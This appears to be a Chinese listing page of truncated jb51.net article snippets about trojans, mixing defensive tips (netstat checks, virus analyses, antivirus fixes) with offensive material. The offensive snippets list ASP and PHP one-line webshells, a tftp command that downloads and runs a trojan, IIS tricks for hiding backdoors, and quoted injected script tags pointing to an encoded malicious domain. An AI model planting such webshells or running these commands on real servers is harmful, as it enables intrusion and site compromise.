一、检测网络连接如果你怀疑自己的计算机上被别人安装了木马，或者是中了病毒，但是手里没有完善的工具来检测是不是真有这样的事情发生，那可以使用Windows自带的网络命令来看看谁在连接你的计算机。具体的命令格式是：netstat-an-o命令能看到所有和本地计算机建立连接的IP，它包含四个部分——proto(连接方式)、localaDDRess(本地连接地址)、foreignaddress(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息，我们就可以完全监控计算机上的连接，从而达到控制计算机的目的。在看下面的内容之前，先看看：教你认清网络特殊用途IP地址1.我们通过：开始...
http://www.jb51.net//article/15675.htm
命令是再CMD中输入，不是运行框中一、检测网络连接如果你怀疑自己的计算机上被别人安装了木马，或者是中了病毒，但是手里没有完善的工具来检测是不是真有这样的事情发生，那可以使用Windows自带的网络命令来看看谁在连接你的计算机。具体的命令格式是：netstat-an这个命令能看到所有和本地计算机建立连接的IP，它包含四个部分——proto(连接方式)、localaDDRess(本地连接地址)、foreignaddress(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息，我们就可以完全监控计算机上的连接，从而达到控制计算机的目的。二、禁用不明服务很多朋友在某天系统重新启...
http://www.jb51.net//article/15674.htm
特把经常用到的网页后门的木马整理下，如果不全请大家补全他，大家在网站混口饭吃，都不容易何必呢asp一句话木马文件常见内容<%If Request("#")<>"" Then Execute(Request("#"))%>execute(request("#"));eval(request("#"));php一句话木马<?@include($_POST["jb51"]);?><?php eval($_POST[cmd])?>...
http://www.jb51.net//article/15260.htm
通过HTTP协议来访问一句话木马的使用范围(我只列举了2种):1)只有数据库备份的情况数据库备份成asp文件时候，不出现“ 编译错误，缺少脚本关闭标志%>"2)SA权限的时候,一般先写入一句话,图个方便..(当然,直接tftp上传鸽子运行,那更快)tftp -i ip get server.exe一句话木马<%execute request("a")%>的原理:首先知道execute()函数,是用来执行asp代码的.就是负责执行我们上传的大马,将马交由asp.dll解析.上面的代码<%execute ...
http://www.jb51.net//article/15163.htm
在选择清除木马后，电脑重启后无法进入桌面！请大家在卡巴报警时暂时千万不要将其删除！！ 如果遇到监控一直报警的可以暂时退出卡巴！ 上网搜索之后，这个现象是由于卡巴误报WININET.DLL 为木马，删除导致的现象就是进入操作系统之后进入不了桌面， 可能还导致很多应用程序无法运行，可是发现网上给出的方法并不能完全解决所有问题，因为卡巴启动时默认是隐藏主界面的！ 经过试验，现给出一个最为管用的解决方法： 首先下载附件中的 WININET.rar 文件，解压后得到WININET.DLL 并将其放在U盘中，再进行以...
http://www.jb51.net//article/14863.htm
1、建立非标准目录：mkdir images..\拷贝ASP木马至目录：copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp通过web访问ASP木马：http://ip/images../news.asp?action=login如何删除非标准目录：rmdir images..\ /s2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析，以达到我们隐藏自己的网页后门的目的:mkdir programme.asp新建1.txt文件内容：...
http://www.jb51.net//article/14631.htm
以下是这两天极度猖獗的AUTO病毒最新变种的分析报告：一．行为概述该EXE是病毒下载器，它会：1） 参考系统C盘卷序列号来算出服务名，EXE 和DLL 的文件名。2） 在每一个驱动器下放置AUTO病毒autorun.inf 和自身副本auto.exe 并加系统和隐藏属性。3） 在系统system32 下放置自身副本“随机名.exe ”和释放出来的“随机名.dll” 并将它们伪装成具有隐藏属性的系统文件。4） 修改系统键值，将系统隐藏文件选项删除，造成用户无法查看隐藏起来的病毒文件。5）...
http://www.jb51.net//article/14394.htm
样本信息：File: login.exeSize: 25428 bytesModified: 2008年4月25日, 16:30:08MD5: 9777E8C79312F2E3D175AA1F64B07C11SHA1: 4236D76C4FAEFE1CDF22414A25E946E493E0D52ECRC32: 5A5622031.病毒初始化:创建互斥量HGFSMUTEX，保证系统内只有一个实例在运行2.释放如下文件或者副本%systemroot%\system32\Autorun.exe%systemroot%\...
http://www.jb51.net//article/14393.htm
“伪AVP恶意木马”是一个恶性下载器，通过网页挂马、第三方软件漏洞等手段进入用户电脑，在电脑中疯狂占用系统资源，导致运行速度异常缓慢，并下载WinsysARP攻击工具来实施ARP攻击，当局域网机器浏览网络时就会造成中毒。中了“伪AVP恶意木马”的用户能在C盘下看到一个ver.txt的木马下载器，该下载器会创建服务名为WinCom的服务，并大量下载网游盗号木马，严重威胁用户网络虚拟财产的安全。在360安全中心的百科（http://baike.360.cn）和论坛里，已有大量“中招”的用户反应电脑“很受伤”。通常，在安装或卸载软件时，出现名为“NSISERROR”的对话框，就说明电脑已被“伪AVP...
http://www.jb51.net//article/14144.htm
国际一流的木马病毒查杀软件，木马清除大师2008完全免费查木马，十四大实时监控和接近对69万多种木马病毒的查杀，使您的计算机如铁桶一样密不透风，让您高枕无忧，真正的御木马于千里之外。 全新的木马清除大师2008深度优化了病毒查杀引擎，添加了强制删除工具，加入密码保险柜防止QQ和网游密码被盗，拦截所有网页木马和U盘病毒，加入了主动防御模块(HIPS)等功能，并大大降低了实时监控内存和CPU使用，加强了对流行盗号木马的查杀。查杀各类网游木马、网银木马、股票木马，其表现异常卓越。十四大监控（自主...
http://www.jb51.net//article/14055.htm
前不久一行代码解决iframe挂马（包含服务器端注入、客户端ARP注入等）》得到了很多朋友的认可，这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了，现在流行挂<script>木马，汗了，看了几个网友的网站都被这样了——页面的顶部或底部加上了：注意，以下地址含有木马，请不要轻易访问：<script src=http://%76%63%63%64%2E%63%6E></script><script src=http://%76%63%63%64%2E%63%6E></script><s...
http://www.jb51.net//article/13990.htm